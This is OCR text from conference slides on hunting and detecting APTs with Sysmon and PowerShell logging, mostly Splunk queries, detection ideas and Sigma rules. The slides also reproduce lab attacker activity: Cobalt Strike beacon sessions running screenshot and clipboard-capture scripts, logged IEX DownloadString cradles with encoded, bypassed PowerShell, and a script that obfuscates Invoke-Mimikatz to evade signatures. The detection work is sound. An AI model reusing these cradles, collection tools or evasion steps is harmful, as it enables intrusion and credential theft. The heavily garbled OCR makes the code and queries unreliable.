Set-Domain0Object Fet-NetComputerSiteName 57 Get-DomainGPOComputerLocal GroupMapping
ConvertTo-LogonHoursArray Get-DomainSENTicket S E Get-DomainDNSEecord
Eemove-BEemotelonnection Get-DomainCkbjectlicl : Find-InterestingDomainShareFile
New-DynamicParameter Get-DomainGPOLocal Group : Find-InterestingDomainiAcl
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7€ postalcode

logoncount
badpasswordtime

1
distinguishedname
ocbjectclass

. telephonenumber
displayname
lastlogontimestamp
userprincipalname

- Nalne

department
primarygroupid
cbjectsid
directreports

company
samaccountname
logonhours

' admincount

codepage
: Samaccounttype
accountexpires

'
nt B! |

3052
24
02.11.2016

Zollikofen

USER_OBJECT
01.01.1601

09:10:07

01:00:00

Fall
=

| Cut-String | ${5_ + "'n"}

r

nGet-D

T
-\
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index= sourcetype="PowerShell_transcript.

objectsid samaccountname userprincipalname distinguishedname

leld=_raw ".*objectsid : (7<objectsid=.*)

W . &samaccountname : (7<samaccountnames>, )

w . *userprincipalname . (?<userprincipalname>,*)"
“ield=_raw ".*distinguishedname : (P<distinguishedname>. *)"
UPN dc({objectsid) ObjSID
dc(samaccountname ) SAM_AN dc(distinguishedname) D1stName
count sourcetype
(before 11/29A18 11:14:52.000 PM) vent Sam ah 8 Verbose Mode »
Statistics (1)

Preview =
sourcetype ObjsID 3 DistName count

R

PowerShell_transcript. . 18373 10423

BotConf 2018 | Tom Ueltschi | Hunting and Detecting APTs using Sysmon and PowerShell Logging | TLP-WHITE




Unmanaged PowerShell

YOU MEAN 'I'I;E;IIE IS PﬂWEIISHll
N |

- N ‘ ‘\}
Wl'l'llllll'l' PﬂWEIISIlElLHE‘.?
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Get-TimedScreenshots pmm
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Branch: master *+ | PowerSploit / Exfiltration / Get-Timed5Screenshot.psi
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function Get-TimedScreenshot

{

SYNOPSIS
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Get-TimedScreenshots

B https://obscuresecurity.blogspot.com/2013/01

Twitter

Monday, January 14, 2013

obscuresac

Other Content

Recommended Books

Recommended Links

standard Disclaimer

Fresentation Slides

RTFM

amazon

MuromATnGScreenstoTs Witk
PowereStew

Penetration tests can become very hectic at a moment's notice. One second you are
casually reviewing HTML source for a target website and the next dropping a webshell
and hooking browsers before staying up all night trying to gain persistent domain-
admin access to the enterprise. Keeping notes during hectic times can be difficult,
tedious and potentially distracting. Sometimes, it pays to have something taking notes
for you. | like to utilize both a key-logger that does time stamping and take frequent
screenshots.

There are applications that can take screenshots for you at regular intervals and in the
past | used an Autolt macro to printscreen and save. That works well when | am on my
own machine, but what if | was at a kiosk or doing an insider assessment from one of
their workstations? | needed a PowerShell script that could take a screenshot at
regular intervals, time stamp it, save it to a file and not tamper with the contents of the
clipboard.
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Using vs. unmanaged PS (PowerPick)

beacon> powershell-import C:% rershell-Tools\PowerSploit-master\Exfiltration\Get-TimedScreenshot.psl
[*] Tasked beacon to import: _Puwershe]_'l_—Tuuls"'n,meE]:Spluit—master\E}::Eilt]:atiun\Get—T:i_mgdSnreenshut.]:_151
[+] host called home, sent: 2052 bytes

beacon> powershell Get-TimedScreenshot -Path C:} y —-Interval 15 -EndTime 16:30

[*] Tasked heacon to run: Get-TimedScreenshot -Path C:Y Y —-Interval 15 -EndTime 16:30

[+] host called home, sent: 449 bytes

[+] received output:

bheacon> powerpick Get-TimedScreenshot -Path C:} y —Interval 15 -EndTime 16:38
[*] Tasked beacon to run: Get-TimedScreenshot -Path C:Y% 4 “Interval 15 -EndTime 16:38 {unmanaged)
[+] host called home, sent: 133715 hytes
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—| 2N cmd .exe 16:13:35 26.10.2018 C:AWINDOW S'system32hcmd .exe /o ™
= conhost exe 16:13:35 26.10.2018 \IALCAWINDOW Shsystem32h\conhost exe (xd
= W powershell exe 16:13:35 26.10.2018 C:\Windows \SysWOWed \windowspowershell'w 1.0tpowershell exe -ep Bypass
undll32 exe 16:36:01 26.10.2018 C:AWINDOW Shsysnativewundll 32 exe

16/26/2018 B4:30:81 PH
Microsoft-windows-Sysmon/Oper

Sourcelame=Mi

EventCode=1

entType=4
C:\Windows\System32hrundll32.exe

Ev
Type=Information

Version: 10.8.17134.1 (WinBuild.168181.
lescription: Windows t process (Rundll32)
roduct: Microsoft® Windows® Operating System

Company: Micr t Corporation
~orv=Process Cr CommandLine: C:\WINDOWS\sysnativerundll32.exe
Ly ULESo
OpCode=Info CurrentDirectory:
R
Recordiumber s

ogonGuid: {5C

: 2818-16-26 14:36:01.806

{5C2 13-B0@0-0a1808999951}

AB2CE843D492175A, IMPHA TATFCIAS3ETAF45BEZTA1 319538964

IF-5BD03-00Q@-80108EBF

C:WWindows\SyswoOWe4'\WindowsPower

yrentCommandLine: C:\Windows\SyswWOWe4\windowspower W1, @\power .ex -NoLogo -WindowSty

-

Hidden -nop -f C:
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Re-test after enabling FileCreate for rundll32.exe

~ational

Type=Information

FileCreate) ategory= FileCrea

15=Mone

4-0000-0010DC4156983 rocessGuid: { CCBF-5BD4-0000-0010DC415698}

atlonUtcTime: 2818-18-27
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sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational”
FileCreate rundll3Z.exe
| table UtcTime _time TaskCategory Image TargetFilename

| sort UtcTime

Sysmon

TaskCategory Image TargetFilename
File created . FileCreate) C:WWINDOWS\system32hrundll3z2.exe C:%Usersh vApplatahLocal \Temph__PSScriptPolicyTest_rwdxqggpm. knd. psmi

A\WINDOWShsystem32hrundll32. exe C:%Usersh vipplatatLocal \Temph__PSScriptPolicyTest_geull@zw. 5tv.psi

Files\2@181027\Powers

CAWINDOWShsystem32hrundllaz. exe Cah Microsoft\Powershell\Transcript

: \WINDOWSY system32\rundll32,
D WWINDOWS\system32hrundll3z.
: \WINDOWSYsystem32\rundl132,
D WWINDOWS\system32hrundll3z.
: \WINDOWSYsystem32\rundl132,
YWINDOWS system32hrundll32. exe

YWINDOWS\system32hrundll32. exe

YWINDOWS system32hrundll32. exe C:hUsers), vAppDatatLocal \Microsoft\CLR_v4.8UsagelLogs\rundl132.exe.

\WINDOWS\system32hrundll32. exe C:%\Users), vApplatahLocal \Microsoft v2.8%Usagelogshrundl132. exe.
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Start time: 20181027223824
Username:

RunAs User

Configuration Name:

Machine: (Microsoft Windows NT 10.8.17134.8)

Host Application: C:‘\WINDOWS\sysnativelrundll32.exe

Process ID: 23260
PSVersion: 5.1.
PSEdition: Desktop

PSCompatibleVersions:

BuildVersion: 1@.8.17134.228
CLRVersion: 4.0.308319.42000
WSManStackVersion: 3.0

PSRemotingProtocolVersion: 2
SerializationVersion: 1.1.0.

3

Microsoft\Powershell\Transcript Files\2018102 7/\Pow...
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sourcetype="PowerShell_transcript.=" rundll32

| search "Host Application: C:%\\*\\rundll32.exe"
| table _time host _raw

u.-.--\, ' Clalata sl
/18 11:00.000

my

1827223824 Username: TUNAS = Configuration
Machine: (Microsoft Windo

C:\WINDOWS\sysnative\rundll32.exe Froce }: 23260 PSVersion: 5.1.17134.228 PSEdition: Desktop
PSCompatibleVersions: 1.@, 2.8, 3.0, 4.8, 5.8, 5.1.17134.228 BuildVersion: 18.8.17134.228

Version: 4.0.308319.42000 WSManStackvVersion: 3.8 PSRemoctingProtocolVersion: 2.3
SerizlizationVersion:
Start time: 2018102616464 SErname: Configuration
Name: Machine:
C:\WINDOWS\sysnative\rundll3Z2.ex "OCESES : 18328 PSversion: 5.1.17134.228 PS5Edition: Desktop
PSCompatibleVersions: 1.@, 2.@, 3.8, 4.8, 5.8, 5.1.17134,228 BuildVersion: 18.@.17134.228
CLRVersion: 4.8.38319.42000 ckVersion: 3.8 PSRemotingProtocolVersion: 2.3

SerializationVersion:

start time: 281 h3602 = rRame Configuration
Name: Machine:

C:unlhﬂﬁni~515na-1 rehrundll3z. ex “oCe b 24132 PSVersion: 5.1.17134.228 PSEdition: Desktop
PSCompatibleVersi : 1.4, 2.0, 3.8, 4.8, 5.8, 5.1.17134.228 BuildVersion: 10.08.17134.228

1on: 4.8.38319.42000 WiManstackVersion: 3.@ PEEechin;PrcfccclEersicn: 2.3
SerializationVe
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|dea for detection

Search PowerShell Transcript Files for “Host Application:”
which is any of

powershell . exe
powershell ise.exe
wsmprovhost.exe

and possibly very few others
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"Host Application:™

#\\wsmprovhost. exe

Username Host_Application

Host_Application
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Unmanaged PowerShell . .
Detecting the Elusive

Active Directory Threat Hunting

Sean Metcalf (@ Pyrotek3)
sean [@] TrimarcSecurity.com
www.ADSecurity.org

Detecting Custom EXEs Hosting PowerShell | &z

» Send PowerShell & PowerShell Operational logs to SIEM.

* Event 400/800: HostApplication not standard Microsoft tool
(PowerShell, PowerShell ISE, etc).

* Event 400/800: EngineVersion < PowerShell version.

* System.Management.Automation.(ni.)dll hosted in non-
standard processes.

* Remember that custom EXEs can natively call .Net & Windows
APls directly without PowerShell.

* Remove PowerShell 2.0 engine from Windows 8/2012+ (still
requires Microsoft .NET Framework 3.5 for use).
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Date and Time Source Event Il Task Category
Ty

1 Information 26.11.2018 16:01:33 PowerShell (PowerShell) 800 Pipeline Execution Details

Event 800, PowerShell (PowerShell)

General Details

Details:
Commandlnvocation(5et-5tnctMode): "Set-5tnictMode”
Pipeline execution details for command line: ParameterBinding(5et-5tnctMode): name="Version"; value="1.0"

Log Name: Windows PowerShell
Context Information:
DetailSequence=1 Source: PowerShell (PowerShell) Logged: 26.11.2018 16:01:33
DetailTotal=1 Event IL: 200 Task Category: Pipeline Execution Details

- S Level: Information Keywords: Classic
equenceMumber=57

User: MNSA Computer:

Userld= OpCode:
HostMame=Default Host

HostVersion=5.1.17134.228
Hgﬁld:_f gaﬂ;ﬁﬂ-;ﬁah-ﬂs !“E'Elﬂﬁ'ﬂ&? EE';E;QCE
HostApplication=CAWINDOWS\sysnative\rundll32.exe
engmneversion=2.1.1T/134.245
Runspaceld=bealb38e-3151-4083-a33d-3celd2ef3260d
Pipelineld=1
ScriptName=
CommandLine= if ( & { Set-StrictMode -Yersion 1; §_.P5MessageDetails } ) {

More Information: Ewvent Log Online Help
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‘owershell" HostApplication

".*HostApplication=(7?<HostApplication>.*)"

tApplication!="xpowershell.exe*" HostApplication!="#\\sdiagnhost.exex"

host HostApplication

HostApplication count

AWINDOWSA\sysnative\rundll32.exe
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Start-ClipboardMonitor

Branch: master + = Misc-PowerShell / Start-ClipboardMonitor.ps1 Find file | Copy path
H HarmJOy Output format correchion aa5541b on Mar 13, 2016

contributor

Blame = History (.

= = B e
pboardMonitor {

onitors the clipboard on a specified interval for changes to copied text.

Start-ClipboardMonitor
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beacon> powershell-import C:} pwershell-Tools\Misc-PowerShell-master\Start-ClipboardMonitor.psl

[*] Tasked bheacon to import: Powershell-Tools\Misc-PowerShell-master\Start-ClipbhoardMonitox.psl
[+] host called home, sent: 1536 hytes

beacon> powershell Start-CliphoardMonitor -PollInterval 5 -CollectionLimit 2

[*] Tasked beacon to run: Start-CliphoardMonitor -PollInterval 5 -CollectionLimit 2
[+] host called home, sent: 425 bhytes

[+] received output:

=== Get-CliphoardContents Starting at 28.10.2018:16:36:01:34 ===
PowerShell

=== 28.10.2018:16:36:01:39 ===

"Takes screenshots at a regular interval and sarvres them to disk."

[+] received output:

=== 28.10.2018:16:36:11:39 ===
Thi=IsHotArealPassword

[+] received output:

=== Get-CliphoardContents Shutting down at 28.10.2018:16:37:01:45 ===
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|dea for detection

Search for PowerShell EncodedCommands in command-lines
Baseb64 decode EncodedCommand on the fly

Search for known malicious strings / cmdlets in decoded commands
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sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" ProcessCreate powershell
| eval CommandLine = replace(CommandLine, "-[Eel[Mn][Ccl[Col[DdILIil[Nn][Gg]1", "__encoding")
| search EventCode="1" Image="#\\powershell.exex"
(CommandLine="#% -encx" CommzndLine="% -en %" CommzndLine="#* -g =" CommandLine="* -ec ="

field=Message ".#User: ({ |NT AUTHORITY )\\MAY?(7<USER1=.%)"
field=CommandLine ".*[*A-Za-z@-9/+](7<b64payload>[A-Za-z0-9/+1{20,9

field=" action="decode" mode="append"
basefd!="+«ChocolateyEnvironment"

ComputerName ParentCommandLine <  basebd

CommandLine

C:\Windows'SyswWowa4 \ windowspowershelllw1. @\powershell.exe IEX (New-Object

-ep Bypass -NoLogo -WindowStyle Hidden -nop -f Met.Webclient).DownloadString('http://127.8.08.1:57576/");
Get-TimedScreenshot -Path N -Tnicrval 1
EndTime 16:3@

powershell -nop -exec bypass -EncodedCommand WSysWOWs4\windowspowershelliw1. @\powershell.exe IEX (New-Object

SOBFAFZATAAGAE4AZOBIACOATWE AGOAZOB JAHOALA -NoLogo -WindowStyle Hidden -nop -f Met.Webclient).DownloadString('http://127.8.0.1:58458/');

Start-ClipboardMonitor -PollInterval 5 ctionLimit 2

powershell -nop -exec bypass spowershell\w1.@\powershell.exe  IEX (New-Object
SOBFAFEATAAOAEAATOBIACBATWEL AGOAZOB 1 AHOATABOAGUA 55 0 lowStyle Hidden -nop -f Net.Webclient).DownleadString('http://127.0.08.1:4@8960/");

Start-ClipboardMonitor -FollInt ctionLimit 1
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ComputerMame
USERT CommandLine

powershell -nop -exec bypass -EncodedCommand

SQBFAFEATAACAE4AZQBIACOATWB1AGOAZQB jAHQATABOAGUAd

shell -nop -exec

rentCommandLine

vspowershelliwvl.@\powershell.exe IEX (Mew-Object

.

¥Style Hidden -nop -f Net.Webclient).DownloadString( 'http:

Get-TimedScreenshot -FPath

wspowershelliwl.@\powershell.exe

¥Style Hidden -nop -f det.Webclient).DownloadString('http://127.0.0.1:584508/

Start-ClipboardMonitor -PollInterval 5 -CollectionlLimit 2

vspowershelliwvl.@\powershell.exe
Style Hidden -nop -f Met.Webclient).DownloadString('http://1
Start-ClipboardMonitor -PollInterval 5 -CollectionLimit
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beacon> powershell-import C:} ershell-Tools\Misc-PowerShell-master\Start-ClipbhoarddMonitor.psl

[*] Tasked beacon to impoxt: Powershell-Tools\Misc-PowerShell-master\Start-Cliphoarddonitor.psl
[+] host called home, sent: 1536 bhytes

beacon> powerpick Start-CliphoardMonitor -PollInterval 5 -CollectionLimit 5

[*] Tasked beacon to run: Start-CliphoardMonitor -PollInterval 5 -CollectionLimit 5 {unmanaged)

[+] host called home, sent: 133715 hytes

[+] received output:

=== Get-CliphoardContents Starting at 26.10.2018::

[+] received output:
=== Get-CliphoardContents Starting at 26.10.2018:16:46:48:26 ===

PowerPick —== 26.10.2018:16:46:48:40 ===
powerpick Start-CliphboardMonitor -PollInterval 5 -CollectionLimit 5
[+] received output:

=== 26.10.2018:16:46:58:41

teamservrer

[+] received output:

=== 26.10.2018:16:47:08:42 ===
cobaltstrike

[+] received output:

=== 26.10.2018:16:47:28:43 ===
thisIsHotArealPassword
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thisIsMotArealPassword Start-ClipboardMonitor.psi

able _time host Sourcetype _r

sourcetype
Powershell_transcript.
PowerShell_transcript.

raw

cobaltstrike

function Start-ClipboardMonitor
Monitors the clipboard on a specified interva
logonpasswords

.PARAMETER CollectionLimit Specifies the interval in minutes to capture clij
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ldea for detection

Search for known malicious strings (code snippets, even comments)
in PowerShell ScriptBlock Logs and Transcript Files

NOPSIS

pnitors the clipboard on a specified imterval for changes to copied text.

TimeStamp = (Get-Date -Format dd/

Get-ClipboardContents Etartlng FTimestamp ==="n"
$Timestamp = (Get-Date -Format dd/Ms/yyyyiHH:mm: ss: 1)

il === Get-ClipboardContents shutting down atiEyl =Sl Il
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sourcetype="*PowerShell="
"Get-ClipboardContents Starting a -ClipboardContents Shutting down at"
"Monitors the clipboard on a specified interval for changes to copied text.”

| table _time host sourcetype
| sort _time

sourcetype

WinEventLog:Microsoft-Windows 18/28/2818 0O e C
Powershell/Operational 2= Sid=5-1 M-1117 B35-4 1849977318~
M pe=Cr ext (1 of 1): function Start-Cliph

of 1): function 5tart-ClipboardMonitor { < Function: wL.'L—LllLtca|u-Ln1:C| Author: @harmj@y License: BSD 3-Clause Required Dependencies
in minutes to capture clipboard text. Defaults to indefinite collection. .PARAMETER PollInt
-CollectionLimit 128 .LINK http://brianreiter.org/2018/09/03/¢
$CollectionLimit, [Parameter(Position = 2)] [UInt32] %Poll
I if($CollectionLimit) { $StopTime = (Get-Date).AddMinutes($CollectionLimit

ff)y ""n=== Get-ClipboardContents Shutting down at $Time:

the cllphnard on a spec1fled interval fnr changes
dMoni buthor:  LEXAMPLE Start-ClipboardMonitor

ptional  [Parameter(Position = 1)1 [UInt32]

m. 55:

PowerShell_transcript. .EKbNb jHe- Get-ClipboardContents Starting

too_small

owerShell_transcript. .EKbNb jNe- Get-ClipboardContents Shutting

too_small
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(sourcetype="#Powershells" sourcetype="WinEventLog:Microsof t-Windows-PowersShell /Operational"” sourcetype="PowerShell_transcript.="
Get-ClipboardContents Starting at | Get-ClipboardContents Shutting down at J[@8-31{23\.[0-91{2}\.[8-9]{4}:[@-91{2}:[@-9]1{2}:[@-9]1{2}:[@-9]{2]} ===.="
_time host _raw

time

ts (10/26M18 3:00:00.000 PM t

5 —-CollectionLimit 5

-ClipboardMonitor {
the clipboard on a specified interwval for changes
Specifies the interval in minutes to capture clipboard text.

1:48: sk kkdhkkREARRERREAREA: Windows PowerShell transcript end

BotConf 2018 | Tom Ueltschi | Hunting and Detecting APTs using Sysmon and PowerShell Logging | TLP-WHITE




Detecting known bad vs. hunting unknown

BUTIHOW/DONOU/HUNT;

\\"‘.

g ,ﬁ!,\'lwllli unxnnwmn

BotConf 2018 | Tom Ueltschi | Hunting and Detecting APTs using Sysmon and PowerShell Logging | TLP-WHITE 102

H ‘ k‘



Obfuscate-Mimikatz.sh = only random strings

« C 1{} & https//gist.githubusercontent.com
#!/bin/bash

if [[ % -1le 1 ]] ; then

echo './obfuscate-mimikatz.sh Invoke-Mimikatz.psl newfile.psl’

=yt I - 1 - ] w7 [ -

=t e -& "s/Invoke-Mimikatz/Invoke-%{randstr)/g" %2
A TRV > A .
ne; -2 "s/*[[ispace: ] ]*H.7E/ /g 22
"= /DumpCreds/%{randstr)/g" %2
"s/Invoke-Mimikatz/Invoke-$(randstr) "=/DumpCerts/§(randstr)/g" %2
1 S ._". a '] -\._. L | - ¥ §
JSELSECA B2 "s/CustomCommand/$ (randstr)/g" $2
s/ [:space: | )*&.%%//g" %2 L . L
"s/DumpCreds/%(randstr)/g" %2 =/ T"-.-' :--EELJllIII-EI'“.-"EI:"E"dE tr"jl,-'g %2
"s/DumpCerts/$(randstr)/g” $2 "=/ Win32Types/E(randstr)/g" %2
s/CustomCommand/%({randstr)/g" %2 S . =/t randstr) /fe”
"< /TypeBuilder/$(randstr)/g" $2 s/Win32Functions/%{randstr)/g" %2
"s/Win32Types/§(randstr)/g" %2 "s=/shellcode/$(randstr)/g" %2
"s/Win32Functions/$(randstr)/g" %2 " FDERwtacGd ST F - h foM g
"s/shellcode/%E({randstr)/g" %2 “_.r.F':?;_-,'I:E_-C-iI-;}.:r"an-:_tl :] "'_g” E"'i
"s/PEBytes64/%(randstr)/g" %2 E.-“F':E-'_-,.‘tEE-ﬂE;’E-:__I“EI"IIZ =tr)/g T2
"s/PEBytes32/$(randstr)/g" $2 "z fArgumentPtr/%(randstr)/g" %2
"s/ArgumentPtr/$(randstr)/g" %2 " /CallD1l1Mas ‘tirandstryfe”
"£/CallDllMainsCl/%({randstr)/g" %2 s/CallD 1a1n>C1, $',_I andstr)/g P2

"s/NoteProperty/$(randstr)/g" $2 "s/NoteProperty/3(randstr)/g" 32

m Mm M
[T T

[ P R P I P S P R P I P T P O P O P B P I P |
M M M M M M M M M
[ T i T e TR TR o Y i TR TR i A

1A
m
i

[}
0
i o

A
m
[
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Detection vs. Hunting

So far we looked at strings or behaviors

Now let’s hunt for the unknowns

Enumerate legitimate PS script files and function names
— Build a whitelist to filter out legitimate functions

Search for rarest function names in PS logs (apply whitelist filtering)

Use stacking, long tail analysis, LFO to find interesting stuff
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Enumerate PS script files and function names

EY wWindows PowerShell ISE

File Edit View Tools Debug Help

k=l

h-P5-Functions.ps1 X
1  Get-ChildItem -Path C: lecurse i S - select-5tring -pattern "Function

odule. psml: :Tunction Find-Module
LANPSModule. psml 1421 :function Save-Module
.A%PSModule. psml 1665 :Tunction Install-Module
.1%PSModule. psml 1921 :function Update-Module
.A14PSModule. psml:2094 :Tunction Uninstall-Module
.A1%PSModule. psml:2199:function Get-InstalledModule
LAWPSModule. psml 2261 :function Find-DscResource

1% P5SModule. psml:2369:function Find-Command
LAWPSModule. psml : 2479 :function Find-RoleCapability
LA4PSModule. psml 2586 :Tunction Publish-Script
LAWPSModule. psml : 2893 :function Find-5cript
.1%PSModule. psml:3073 :function Save-Script
LAWPSModule. psml: 3331 :function Install-Script
.1YPSModule. psml:3647 :function Update-5cript
.A1%PSModule. psml:3848 :Tunction Uninstall-Script
.AYPSModule. psml:3948 :Tunction Get-InstalledScript
1% P5SModule. psml 4005 :Tunction Register-PSRepository

:wProgram .
\Program Files‘WindowsPowerShell'Modules' PowerShellGeth1.
\Program Files‘WindowsPowerShell\Modules' PowerShellGeth1.
\Program Files‘WindowsPowerShell\Modules' PowerShellGeth1.
\Program Files‘WindowsPowerShell\Modules' PowerShellGeth1.
\Program Files‘WindowsPowerShell\Modules' PowerShellGeth1.
ZProgram Files‘WindowsPowerShell\Modules' PowerShellGeth1.
\Program Files‘WindowsPowerShell\Modules' PowerShellGeth1.
"Program Files‘WindowsPowerShell'\Modules'PowerShellGeth1.
\Program Files‘WindowsPowerShell\Modules' PowerShellGeth1.
:"Program Files‘WindowsPowerShell'Modules' PowerShellGety1.
\Program Files‘WindowsPowerShell\Modules' PowerShellGeth1.
\Program Files‘WindowsPowerShell'Modules' PowerShellGeth1.
\Program Files‘WindowsPowerShell\Modules' PowerShellGeth1.
\Program Files‘WindowsPowerShell\Modules' PowerShellGeth1.
\Program Files‘WindowsPowerShell\Modules' PowerShellGeth1.
\Program Files‘WindowsPowerShell\Modules' PowerShellGeth1.

alatalalatalalalalalalalaNalale
ﬁﬁﬁﬁﬁﬁﬁﬁ?ﬁﬁﬁﬁﬁﬁﬁ—
0000000000000 000
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Enumerate PS script files and function names

[
| Q Windows PowerShell I5E

Edit View Tools Debug Help

h-P5-Functions.ps1 X

1 Get-ChildItem -Path C:% -Recurse -Filter =.ps®

:“\Program
:\Program
:\Program
:\Program
:\Program

:“\Program

aNalalalalalalalalalalalalalale

Files'\WindowsPowers
Files‘\WindowsPower5s
Files‘\WindowsPower5s
Files‘\WindowsPower5s
Files‘\WindowsPower5s

Files'\WindowsPowers

Search-PS-Functions.ps1 X
1 Get-ChildItem -Path C:

eanup.psl:52 :Tunction
ScriptshCleanup.psl:174 :function

scriptshCleanup. psl 464 :function
sScriptshCleanup. psl:500:function

-Recurse -Filter =.ps®

ean—-Fi1rstlns
Clean-FirstInstEnd

;QE:gg:zﬂ E}}Eg%:}:gﬁ:ggﬁ:g:g Scriptshi1eanup.psl:lEE:functan C1ean—In5ta1!atjun
el o e 5:r1pt5h£1eanup.p51:233:functjﬂn Create—Tun]k1tL1nk5
e e R R e 5:r1pt5h£1eanup.psl:ldl:functjﬂn Clean-Files )
:HPrugram T T 5:r1pt5h£1eanup.psl:3?ﬁ:functjﬂn Clean-Pathvariable
:HPrugram ST el e scriptshCleanup. psl:429:function Get-ImageInfos

Clean-FolderByTime
Clean-EnvironmentVars

:\Program F11E51H1nduw5PDwer5 ScriptshConnect.psl:64 :function ConnectWait

:\Program Files\WindowsPowerS) scrjpts\Connect.ps1:100:function connect

:\Program Files\WindowsPower5 scripts\Connect.psl:206:function DisConnect

:ﬁPrugram FI]EEKH!"dD“EPDWEFS ScriptshConnect.psl:241:function checkSMSCacheType
scriptshConnect.psl:283 :function Error_Statushandling
scriptshCopyAppl.psl:60:function copvappl

scriptshCopyAppl.psl:166:Tunction writeStatus_ToRegistry
scriptshCopyAppl.ps1:185 :Tunction Erroraction
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Search for rarest PS script files

(sourcetype="WinEventLog:Microsoft-Windows-PowerShell/Operational” sourcetype="WinEventLog:Winc

"Execute 3 Remote Command" "Executing Pipeline"

eld=Message ".*Script Mame = (?<Script_Name>.*)"

1=Script_Mame "(?<Script_Name_path>.*)\} E?ficriﬂi_haTE_naTEP:“ Vi I# )"

ld=Path "{7<Script_ rfwe_r“-he. Name_name>[*\\\Y ]2

= (7<Script

= -

dec{ComputerName ) DC_Clients ackicripi_haTe_paih} DC_path va cript_Name_path)

count TaskCategory Name_name

| where

I
| sort

Script_
~_Clients = &

-count

TaskCategory Script._Mame_name DC_Clients

DC_path < values(Script

Execute
Commz

functions.psi

anad

Execute remoteControlwithoutAskingforpermission. psi

Command

Execute

Command
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Search for rarest PS function names

index=it_bapo (sourcetype="WinEventLog:Microsoft-Windows-PowerShell/Operational”
sourcetype="WinEventLog:Windows PowerShell")
field=Message ".*[FfJunction (?<funct_name>[* ]*) .=&"
dc(ComputerName ) DC_Clients count TaskCategory funct_name
DC_Clients <= 1@
-DC_Clients

Patterns Statistics (445) Visualization

100 Per Page = # Format Freview =
TaskCategory funct_name DC_Clients
Command 'Disable-NethAdapterPowerM
Command 'Enable-NetAdapterPowerManagem
Command 'Get-NetIPInte
Command 'New-NetbAdapterAdvancedProperty'
Command 'New-HetIPAdd
Command 'Mew-NetRoute'
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Create whitelist lookup with known good

splunkis lookups $
» cat powershell benign noise fields.csv cut -d"," -f£f2-

o "2nd set of fields"™,"funct name”™
13 "initial Path whitelist™,"Path"

splunk>enterprise Apps ~

Lookup definitions

ookups » Lookup definitions

Lookup file =

shell_benign_noise
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Create blacklist lookup with known bad

splunk@ "lockups 5 5
> cat powershell malicious intresting fields.csv | cut -d"," -f2-3 | unig -c
1 field, comment

16 "ztring™,"Sean Metcalf offen=sive PS5 detection cheatsheet™
-85 "funct name", "PSempire function®™

2 "funct name","CobkaltStrike beacon function®™
1l "string"™,"CobaltStrike beacon function®™

splunk@® flookups 5 \
> egrep " (Start-ClipboardMonitor|func get proc address)" powershell *.cswv

""""" malicicous intresting fields.csv:"Start-ClipboardMonitor™, "funct name®, "PSempire function®™,

malicious intresting fields.csv:"func get proc address™, "funct name™, "CobaltStrike beacon
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index=

sourcetype="WinEventLog:Windows PowerShell"

sourcetype="WinEventLog:Microsoft-Windows-PowerShell/Operational"

sourcetype="PowerShell_transcript="

okup
value |

| inputlo
| fields
| fields search

]

eval search=value |

| format | e

nakemv delim=",

al search=rep

powershell_malicious_intresting_fields

ace(search,

search

El

1=Mezzage

— i -
(= B

i

eval funct_name=replace(funct_name,

.%[Ff Junction (7<funct_name>[

r

VOVIOL

search

| inputlookup powershell_benign_noise_fields

search |

form

-

(=L B

-

value,field | eval search=
eval search=r

field+

="+yalue | makemv delim=",
eplace(search,

search

s

| stats wvalues(Path) ath
powershell_malicious_intresting_fields

funct_name
tart-ClipboardM

func_get_proc_

adi

funct

name

count host funct_name

value

onitor

dress

funct_name

comment

count

comment
PSempire function

CobaltStrike beacon function

rddonitor

-Clipboa

—— == o

t_proc_address

COount

Comment

PSempire function

CobaltStrike beacon function

BotConf 2018 | Tom Ueltschi | Hunting and Detecting APTs using Sysmon and PowerShell Logging | TLP-WHITE




SIGMA rules (contributions coming soon...)

Neo23x0 / sigma @ Watch~ | 174 | #Star | 938 | YFork | 209
¢» Code lssues 18 Full requests 4 roject Wilki nsights

Branch: master = sigr‘na / rules / windows / pOWEI’ShE" Create new file | Upload files | Find file | History

t thomaspatzke Fixed rule Latest commit £F98991 17 days

wershell_downgrade_attack.yml

wershell_exe_calling_ps.yml

wershell_malicious_commandlets.ym
wershell_malicious_keywords.ym

wershell_ntfs_ads_access.yaml

wershell_prompt_credentials.ymi jged windows pow
wershell_psattack.yml jged windows pow
wershell_suspicious_downlead.yml
wershell_suspicious_invocation_generic....
wershell_suspicious_invocation_specific....

wershell_xor_commandline.yml
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C {t @& https//uncoderio/#

Select document v

32

L

title: Logon Scripts (UserInitMprlogonScript)
status: experimental
description: Detects creation or execution of

UserInitMprlogonScript persistence method

rad

(18]

rences:

(%3]

| - https://attack.mitre.org/techniques/T1837/

tags:

author: Tom Ueltschi (@c_APT ure)

attack.t1837

attack.persistence

attack.lateral movement

| product: windows

| service: sysmon

falsepositives:

| - exclude legitimate logon scripts (adjust exec exclusion

CommandLine)
| - penetration tests, red teaming

level: high

Translating to: Splunk  Tyanslk: 1

( (EventID="1" ParentImage="*\\userinit.exe") NOT (Image="*\\explorer.exe"
CommandLine="*\\\\DC\\netlogon\\some-legit-name.bat*")) OR (((EventID="1"
OR EventID="12" OR EventID="13" OR EventID="14")) ("UserInitMprlLogonScrip

7))

15 exec_selection:
16 | | EventID: 1
17 | | ParentImage: "*\wuserinit.exe’
18 exec_exclusion:

| | Image: “*\explorer.exe’
| | CommandLine: "*\\DC\netlogon\some-legit-name.bat*"’

eate selection:

| | EventID:
23 I !
24 I ¥
25 | 1] ] -13
26 111 -1a
27 create keywords:
23 | | - UserInitMprlLogonScript
29 condition: (exec_selection and not exec exclusion) or

(create selection and create keywords)
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uncoder.io/#

& uncoder

- Kibana ArcSight Detec v ‘ = ‘ - Qualys 10C Regex S

Translate f._g

i}
m
™
ki
1

B Share my query to improve translation!

Select document - (EventID="1" Description="Windows PowerShell™) NOT ((((Image="*\\powershel
l.exe"™ OR Image="*\\powershell ise.exe")) OR (Description="Windows PowerSh
1 title: Copy / rename of powershell.exe before execution ell ISE™)))

2 status: experimental

2 description: Detects copying and renaming of powershell.exe before

execution (RETEFE malware DOC/macro starting Sept 2018) 14 detection:
4 references: 15 selection:
5 | - https://attack.mitre.org/techniques/T1086/ 16 | | EventID: 1
6 | - https://isc.sans.edu/forums/diary/Maldoc+Duplicating

| | Description: Windows PowerShell
+PowerShell+Prior+to+Use /24254 f

_ 18 | exclusion 1:
7 tags: Translz =
8 | - attack.t1086 19 | || Image:
g | - attack.execution 26 | | | | | - "*"\powershell.exe"
